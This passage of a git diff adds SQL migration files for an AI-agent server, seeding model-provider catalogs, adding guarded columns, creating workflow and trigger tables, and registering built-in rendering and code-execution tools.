NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; + +-- -- Aliyun Coding Plan model catalog (cn backfill + intl mirror) ---------- +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + -- Backfill: qwen3.6-plus on aliyun-codingplan (cn). + (1000000162, 'Qwen3.6 Plus', 'aliyun-codingplan', 'qwen3.6-plus', '阿里云编码套餐 — Qwen3.6 Plus 旗舰', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + -- Aliyun Coding Plan (International) catalog. + (1000000241, 'Qwen3.6 Plus', 'aliyun-codingplan-intl', 'qwen3.6-plus', 'Aliyun Coding Plan (Intl) — Qwen3.6 Plus flagship', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000242, 'Qwen3.5 Plus', 'aliyun-codingplan-intl', 'qwen3.5-plus', 'Aliyun Coding Plan (Intl) — Qwen3.5 balanced', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000243, 'GLM-5', 'aliyun-codingplan-intl', 'glm-5', 'Aliyun Coding Plan (Intl) — GLM-5 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000244, 'GLM-4.7', 'aliyun-codingplan-intl', 'glm-4.7', 'Aliyun Coding Plan (Intl) — GLM-4.7 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000245, 'MiniMax M2.5', 'aliyun-codingplan-intl', 'MiniMax-M2.5', 'Aliyun Coding Plan (Intl) — MiniMax M2.5 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000246, 'Kimi K2.5', 'aliyun-codingplan-intl', 'kimi-k2.5', 'Aliyun Coding Plan (Intl) — Kimi K2.5 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000247, 'Qwen3 Max 2026-01-23', 'aliyun-codingplan-intl', 'qwen3-max-2026-01-23', 'Aliyun Coding Plan (Intl) — Qwen3 Max pinned snapshot', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000248, 'Qwen3 Coder Next', 'aliyun-codingplan-intl', 'qwen3-coder-next', 'Aliyun Coding Plan (Intl) — Qwen3 Coder Next, agentic coding', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000249, 'Qwen3 Coder Plus', 'aliyun-codingplan-intl', 'qwen3-coder-plus', 'Aliyun Coding Plan (Intl) — Qwen3 Coder Plus, agentic coding', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET + name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V91__widen_message_and_skill_content.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V91__widen_message_and_skill_content.sql new file mode 100644 index 00000000..2a3bf7f9 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V91__widen_message_and_skill_content.sql @@ -0,0 +1,5 @@ +-- V91: Widen mate_message.content / content_parts and mate_skill.skill_content +-- from TEXT (64KB) to TEXT (16MB). +-- +-- In KingbaseES/PostgreSQL, TEXT is already unlimited (up to 1GB), +-- so this migration is a no-op. Keep for Flyway version compatibility. diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V92__mcp_server_tools_cache.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V92__mcp_server_tools_cache.sql new file mode 100644 index 00000000..98867cc5 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V92__mcp_server_tools_cache.sql @@ -0,0 +1,31 @@ +-- V92: Persist each MCP server's discovered tool list as a per-row JSON +-- snapshot so the agent edit picker can render the tools even when the +-- upstream server is briefly disconnected, and so the per-tool atomic +-- binding flow has a stable place to resolve raw tool names from the +-- prefixed callback name. +-- +-- MySQL doesn't support ADD COLUMN IF NOT EXISTS natively (5.7 and most +-- 8.0 deployments), so guard each ALTER with an INFORMATION_SCHEMA lookup +-- + PREPARE/EXECUTE so re-runs become no-ops instead of failing the +-- migration. Flyway's repair-on-startup compensates for any partial +-- failure. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_mcp_server' AND column_name = 'tools_cache_json' + ) THEN + ALTER TABLE mate_mcp_server ADD COLUMN tools_cache_json TEXT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_mcp_server' AND column_name = 'tools_cache_updated_at' + ) THEN + ALTER TABLE mate_mcp_server ADD COLUMN tools_cache_updated_at TIMESTAMP NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V93__xiaomi_mimo_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V93__xiaomi_mimo_provider.sql new file mode 100644 index 00000000..db12b6ad --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V93__xiaomi_mimo_provider.sql @@ -0,0 +1,31 @@ +-- V93: register Xiaomi MiMo as an OpenAI-compatible provider with a +-- pre-seeded model catalog. See the H2 copy for full background. + +-- -- Provider -------------------------------------------------------------- +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('xiaomi-mimo', 'Xiaomi MiMo', '', 'OpenAIChatModel', '', 'https://api.xiaomimimo.com/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + api_key_prefix = EXCLUDED.api_key_prefix, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +-- -- Model catalog --------------------------------------------------------- +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000001200, 'MiMo V2.5 Pro', 'xiaomi-mimo', 'mimo-v2.5-pro', 'Xiaomi MiMo V2.5 Pro — latest flagship reasoning + coding model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000001201, 'MiMo V2.5', 'xiaomi-mimo', 'mimo-v2.5', 'Xiaomi MiMo V2.5 — balanced model in the V2.5 family', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000001202, 'MiMo V2 Pro', 'xiaomi-mimo', 'mimo-v2-pro', 'Xiaomi MiMo V2 Pro — 1M token context window flagship', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000001203, 'MiMo V2 Omni', 'xiaomi-mimo', 'mimo-v2-omni', 'Xiaomi MiMo V2 Omni — multimodal variant supporting text, vision, audio', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000001204, 'MiMo V2 Flash', 'xiaomi-mimo', 'mimo-v2-flash', 'Xiaomi MiMo V2 Flash — fast, low-latency variant with 262K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V94__register_office_render_tools.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V94__register_office_render_tools.sql new file mode 100644 index 00000000..938c4779 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V94__register_office_render_tools.sql @@ -0,0 +1,16 @@ +-- V94: Register XlsxRenderTool / PptxRenderTool / PdfRenderTool as built-in tools. +-- These mirror DocxRenderTool (V31) so agents can bind them through the tool picker +-- and so the AvailableToolService surfaces them in the UI. +-- Idempotent: ON DUPLICATE KEY UPDATE keeps rows in sync if they already exist. + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000020, 'XlsxRenderTool', 'XLSX Render', 'Render Markdown directly into a .xlsx workbook and return a one-time download link. In-process Apache POI; each # heading becomes a sheet, pipe tables become rows, numeric cells auto-detected.', 'builtin', 'xlsxRenderTool', '📊', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, update_time=EXCLUDED.update_time; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000021, 'PptxRenderTool', 'PPTX Render', 'Render Marp-style Markdown directly into a .pptx deck and return a one-time download link. In-process Apache POI; --- separates slides, # / ## titles, - bullets, .', 'builtin', 'pptxRenderTool', '🎞️', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, update_time=EXCLUDED.update_time; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V95__wiki_raw_material_cancel.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V95__wiki_raw_material_cancel.sql new file mode 100644 index 00000000..4e2a1854 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V95__wiki_raw_material_cancel.sql @@ -0,0 +1,15 @@ +-- V95: cancellation flag for in-progress wiki raw material processing. +-- Lets the user request a stop on a long-running PDF analysis (e.g. when +-- the embedding model has run out of credits) without having to delete +-- the raw material. The processing pipeline checks the flag at its +-- existing abort checkpoints and bails out with a 'cancelled' status. +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_raw_material' AND column_name = 'cancel_requested' + ) THEN + ALTER TABLE mate_wiki_raw_material ADD COLUMN cancel_requested BOOLEAN NOT NULL DEFAULT FALSE; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V96__workflow_foundations.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V96__workflow_foundations.sql new file mode 100644 index 00000000..2df7e7eb --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V96__workflow_foundations.sql @@ -0,0 +1,154 @@ +-- V96: Foundational schema for the workflow runtime. +-- Eight tables establish workflow identity (workflow + immutable revisions), +-- run state (run + per-step rows + durable pause rows for await_approval), +-- payload URI storage with inline / filesystem fallback, and trigger +-- definitions paired with a dedup-window table for envelope-based event +-- governance. CREATE TABLE IF NOT EXISTS is itself idempotent on MySQL. + +-- 1. Stable workflow identity + draft (1:1 with workflow row). +CREATE TABLE IF NOT EXISTS mate_workflow ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + name VARCHAR(128) NOT NULL, + description VARCHAR(1024), + enabled BOOLEAN NOT NULL DEFAULT TRUE, + draft_json TEXT, + draft_schema_version VARCHAR(8), + draft_updated_by BIGINT, + draft_updated_at TIMESTAMP(3), + latest_revision_id BIGINT, + created_by BIGINT, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workflow_workspace_name ON mate_workflow (workspace_id, name, deleted); + +-- 2. Immutable published revisions; integer revision is monotonic per workflow. +CREATE TABLE IF NOT EXISTS mate_workflow_revision ( + id BIGINT NOT NULL PRIMARY KEY, + workflow_id BIGINT NOT NULL, + revision INT NOT NULL, + graph_json TEXT NOT NULL, + schema_version VARCHAR(8) NOT NULL, + published_note VARCHAR(512), + published_by BIGINT, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workflow_revision ON mate_workflow_revision (workflow_id, revision); + +-- 3. Workflow run instance; payload bodies live behind URIs in mate_workflow_payload. +CREATE TABLE IF NOT EXISTS mate_workflow_run ( + id BIGINT NOT NULL PRIMARY KEY, + workflow_id BIGINT NOT NULL, + revision_id BIGINT NOT NULL, + workspace_id BIGINT NOT NULL, + state VARCHAR(16) NOT NULL, + triggered_by VARCHAR(32), + triggered_meta TEXT, + initial_input_ref VARCHAR(256), + final_output_ref VARCHAR(256), + error_message VARCHAR(2048), + started_at TIMESTAMP(3), + completed_at TIMESTAMP(3), + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_workflow_run_started ON mate_workflow_run (workflow_id, started_at); + +-- 4. Per-step run row; iteration_index reserved for fan_out (and future loop). +CREATE TABLE IF NOT EXISTS mate_workflow_run_step ( + id BIGINT NOT NULL PRIMARY KEY, + run_id BIGINT NOT NULL, + step_index INT NOT NULL, + iteration_index INT, + step_name VARCHAR(128), + agent_id BIGINT, + state VARCHAR(16), + input_ref VARCHAR(256), + output_ref VARCHAR(256), + output_summary VARCHAR(512), + output_content_type VARCHAR(64), + error_message VARCHAR(2048), + duration_ms BIGINT, + token_input INT, + token_output INT, + started_at TIMESTAMP(3), + completed_at TIMESTAMP(3) +); +CREATE INDEX IF NOT EXISTS idx_workflow_run_step ON mate_workflow_run_step (run_id, step_index, iteration_index); + +-- 5. Durable pause rows so await_approval can resume across restarts. +CREATE TABLE IF NOT EXISTS mate_workflow_run_pause ( + id BIGINT NOT NULL PRIMARY KEY, + run_id BIGINT NOT NULL, + step_id BIGINT NOT NULL, + pause_kind VARCHAR(32) NOT NULL, + pause_token VARCHAR(128) NOT NULL, + external_approval_id BIGINT, + paused_at TIMESTAMP(3) NOT NULL, + resume_deadline TIMESTAMP(3), + resume_payload_ref VARCHAR(256), + resumed_at TIMESTAMP(3), + resume_outcome VARCHAR(32) +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workflow_pause_run_step ON mate_workflow_run_pause (run_id, step_id); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workflow_pause_token ON mate_workflow_run_pause (pause_token); +CREATE INDEX IF NOT EXISTS idx_workflow_pause_external_approval ON mate_workflow_run_pause (external_approval_id); +CREATE INDEX IF NOT EXISTS idx_workflow_pause_open_deadline ON mate_workflow_run_pause (resumed_at, resume_deadline); + +-- 6. Payload URI storage. Inline BYTEA for < 256KB; storage_kind=fs/s3/oss +-- carries the external object key in storage_ref. +CREATE TABLE IF NOT EXISTS mate_workflow_payload ( + id BIGINT NOT NULL PRIMARY KEY, + payload_uri VARCHAR(256) NOT NULL, + workspace_id BIGINT NOT NULL, + content_bytes BYTEA, + storage_kind VARCHAR(16) NOT NULL, + storage_ref VARCHAR(512), + content_type VARCHAR(64), + sha256 CHAR(64), + size_bytes BIGINT, + created_at TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workflow_payload_uri ON mate_workflow_payload (payload_uri); +CREATE INDEX IF NOT EXISTS idx_workflow_payload_workspace_created ON mate_workflow_payload (workspace_id, created_at); + +-- 7. Trigger definitions. pattern_version is a lamport counter that fire +-- callbacks compare against on every fire to detect that another instance +-- has updated the cron expression and self-cancel the local schedule. +CREATE TABLE IF NOT EXISTS mate_trigger ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + name VARCHAR(128), + pattern_type VARCHAR(32) NOT NULL, + pattern_json TEXT NOT NULL, + target_type VARCHAR(16) NOT NULL, + target_id BIGINT NOT NULL, + payload_template TEXT, + rate_limit_per_min INT NOT NULL DEFAULT 60, + dedup_window_secs INT NOT NULL DEFAULT 60, + bot_self_filter BOOLEAN NOT NULL DEFAULT TRUE, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + fire_count BIGINT NOT NULL DEFAULT 0, + max_fires BIGINT NOT NULL DEFAULT 0, + last_fired_at TIMESTAMP(3), + pattern_version BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_trigger_workspace_enabled ON mate_trigger (workspace_id, enabled, deleted); +CREATE INDEX IF NOT EXISTS idx_trigger_target ON mate_trigger (target_type, target_id); + +-- 8. Event dedup window. dedup_key is envelope.eventId, falling back to +-- sourceHash when the upstream channel did not provide a stable id. +CREATE TABLE IF NOT EXISTS mate_trigger_event ( + id BIGINT NOT NULL PRIMARY KEY, + trigger_id BIGINT NOT NULL, + dedup_key VARCHAR(128) NOT NULL, + received_at TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + expires_at TIMESTAMP(3) NOT NULL +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_trigger_dedup ON mate_trigger_event (trigger_id, dedup_key); +CREATE INDEX IF NOT EXISTS idx_trigger_event_expires ON mate_trigger_event (expires_at); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V97__workflow_purge_tombstones.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V97__workflow_purge_tombstones.sql new file mode 100644 index 00000000..8b3a9125 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V97__workflow_purge_tombstones.sql @@ -0,0 +1,9 @@ +-- See the matching H2 file for context. The workflow / trigger entities +-- moved off @TableLogic to align with the project's hard-delete convention; +-- this migration drops any tombstones the old soft-delete path persisted so +-- list endpoints don't expose them after the annotation-driven filter is +-- removed. + +DELETE FROM mate_workflow WHERE deleted <> 0; +DELETE FROM mate_workflow_run WHERE deleted <> 0; +DELETE FROM mate_trigger WHERE deleted <> 0; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V98__trigger_last_error.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V98__trigger_last_error.sql new file mode 100644 index 00000000..dd98b00d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V98__trigger_last_error.sql @@ -0,0 +1,5 @@ +-- See the H2 file for context. KingbaseES (PostgreSQL) supports +-- ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_trigger ADD COLUMN IF NOT EXISTS last_error VARCHAR(2048); +ALTER TABLE mate_trigger ADD COLUMN IF NOT EXISTS last_dispatched_at TIMESTAMP NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V99__dashscope_compat_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V99__dashscope_compat_provider.sql new file mode 100644 index 00000000..be99a04e --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V99__dashscope_compat_provider.sql @@ -0,0 +1,39 @@ +-- V99: register a DashScope OpenAI-compatible provider entry alongside the +-- existing native dashscope provider, plus the dot-versioned Qwen families +-- (qwen3.5-*, qwen3.6-*) that only ship on compatible-mode/v1. +-- +-- See the H2 copy for full background. The MySQL copy uses INSERT ... ON +-- DUPLICATE KEY UPDATE; the api_key column is intentionally omitted from the +-- update list so existing deployments that have already configured a key keep +-- it (this only matters if a future migration re-applies a similar block; +-- Flyway runs each version once today). + +-- -- Provider -------------------------------------------------------------- +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('dashscope-compat', 'DashScope (兼容模式)', 'sk-', 'OpenAIChatModel', '', 'https://dashscope.aliyuncs.com/compatible-mode/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + api_key_prefix = EXCLUDED.api_key_prefix, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +-- -- Model catalog --------------------------------------------------------- +-- Only seed the variants that are publicly callable on compatible-mode. The +-- -max / -vl-max variants exist in the marketplace but return 404 for general +-- accounts; users with whitelist access can add them via Settings → Models. +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000000601, 'Qwen3.6 Plus', 'dashscope-compat', 'qwen3.6-plus', '通义千问 3.6 Plus 旗舰,平衡推理与速度(兼容模式专属)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000603, 'Qwen3.5 Plus', 'dashscope-compat', 'qwen3.5-plus', '通义千问 3.5 Plus(兼容模式专属)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000605, 'Qwen3 VL Plus', 'dashscope-compat', 'qwen3-vl-plus', '通义千问 3 视觉理解 Plus,支持图像、视频输入(兼容模式专属)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V9__usage_cache_tokens.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V9__usage_cache_tokens.sql new file mode 100644 index 00000000..ae616828 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V9__usage_cache_tokens.sql @@ -0,0 +1,24 @@ +-- V9: Track Anthropic prompt cache token usage +-- RFC-014 Change 4: per-call cache_creation_input_tokens / cache_read_input_tokens +-- accumulated daily so the dashboard can show cache hit rate and cost savings. +-- (was originally numbered V8 but collided with V8__wiki_raw_progress.sql; renumbered to V9.) +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_usage_daily' AND column_name = 'cache_read_tokens' + ) THEN + ALTER TABLE mate_usage_daily ADD COLUMN cache_read_tokens BIGINT DEFAULT 0; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_usage_daily' AND column_name = 'cache_write_tokens' + ) THEN + ALTER TABLE mate_usage_daily ADD COLUMN cache_write_tokens BIGINT DEFAULT 0; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V141__agent_wiki_kb_scope.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V141__agent_wiki_kb_scope.sql new file mode 100644 index 00000000..9be7eaf8 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V141__agent_wiki_kb_scope.sql @@ -0,0 +1,24 @@ +-- V141: Per-agent knowledge base access scope for wiki tools (MySQL). +-- +-- Knowledge bases are workspace-shared, so by default every agent in a +-- workspace can reach every KB in it. This table lets an operator pin an +-- agent to a subset of KBs: once at least one enabled row exists for an +-- agent, the wiki tools (list/search/read/write) can only see and target +-- those KBs. No rows for an agent = unrestricted (workspace-wide), which +-- keeps every pre-existing agent behaving exactly as before. +-- +-- The default KB an agent's wiki tools fall back to when no kbId/kbName is +-- given still lives on mate_agent.primary_kb_id; this table only narrows the +-- visible set, and the primary is expected to be one of the scoped KBs. + +CREATE TABLE IF NOT EXISTS mate_agent_wiki_kb ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + enabled TINYINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0, + UNIQUE KEY uk_agent_wiki_kb (agent_id, kb_id, deleted), + KEY idx_agent_wiki_kb_agent (agent_id, deleted) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V142__wiki_transformation_target_page_type.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V142__wiki_transformation_target_page_type.sql new file mode 100644 index 00000000..e8a310b9 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V142__wiki_transformation_target_page_type.sql @@ -0,0 +1,13 @@ +-- Optional target pageType for a transformation whose output_target='page'. +-- See the h2 sibling migration for the prose explanation. MySQL lacks +-- `ADD COLUMN IF NOT EXISTS`, so the column is guarded by an +-- INFORMATION_SCHEMA check + prepared statement. + +SET @c := (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'mate_wiki_transformation' + AND COLUMN_NAME = 'target_page_type'); +SET @s := IF(@c = 0, + 'ALTER TABLE mate_wiki_transformation ADD COLUMN target_page_type VARCHAR(64) DEFAULT NULL', + 'SELECT 1'); +PREPARE stmt FROM @s; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql new file mode 100644 index 00000000..82a874e3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql @@ -0,0 +1,4 @@ +-- V143: Register CodeExecuteTool as a built-in tool. +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), update_time=VALUES(update_time); diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V144__ckjia_mcp_fix_production_endpoint.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V144__ckjia_mcp_fix_production_endpoint.sql new file mode 100644 index 00000000..26576cc8 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V144__ckjia_mcp_fix_production_endpoint.sql @@ -0,0 +1,28 @@ +-- Fix the ckjia-shopping MCP seed to its real production endpoint. +-- +-- V85 seeded a dev/test placeholder (sse + http://localhost:8085/sse + +-- "Bearer ${CKJIA_MCP_KEY}"), which can never connect out of the box, so the +-- 参考价 / price-comparison skill stayed unusable until an admin hand-edited it. +-- The official CKJIA SaaS endpoint is Streamable HTTP at +-- https://m.ckjia.com/api/ai/mcp and needs no Authorization header. +-- +-- Also raises both timeouts to 60s: the price-aggregation round-trip +-- (multi-platform search) legitimately runs longer than the old 30s ceiling. +-- +-- SAFETY: only rewrites rows that still carry the untouched dev placeholder +-- URL, so an admin who already pointed ckjia-shopping at a private CKJIA +-- deployment (or the SaaS URL) is left completely alone. Idempotent — after it +-- runs the URL no longer matches the WHERE clause. `enabled` is deliberately +-- not changed: the server stays opt-in. +UPDATE mate_mcp_server +SET transport = 'streamable_http', + url = 'https://m.ckjia.com/api/ai/mcp', + headers_json = NULL, + connect_timeout_seconds = 60, + read_timeout_seconds = 60, + last_status = 'disconnected', + last_error = NULL, + description = 'CKJIA price comparison MCP server (Streamable HTTP). Disabled by default — enable it in Settings > MCP Connections to use the 参考价 shopping skill.', + update_time = NOW() +WHERE name = 'ckjia-shopping' + AND url = 'http://localhost:8085/sse'; diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V145__claude_fable_5_models.sql 